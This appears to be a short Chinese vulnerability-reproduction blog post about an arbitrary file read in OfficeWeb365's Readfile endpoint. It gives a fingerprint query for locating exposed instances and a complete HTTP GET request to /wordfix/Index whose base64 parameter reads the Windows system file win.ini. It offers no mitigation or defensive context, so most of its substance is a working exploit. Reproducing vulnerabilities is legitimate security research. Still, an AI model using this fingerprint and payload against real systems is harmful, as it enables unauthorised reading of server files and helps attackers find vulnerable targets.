OfficeWeb365 Readfile 任意文件读取

最新推荐文章于 2026-04-27 12:42:51 发布

原创最新推荐文章于 2026-04-27 12:42:51 发布 · 620 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

GEO检测

收录于

漏洞复现

当前文章被收录于：

漏洞复现

22 篇文章 2 人学习

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文探讨了在OfficeWeb365环境中发现的一种漏洞，涉及利用特定的指纹特征进行GET请求的重现，可能暗示着安全风险。

指纹特征

body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

漏洞复现

GET /wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

在这里插入图片描述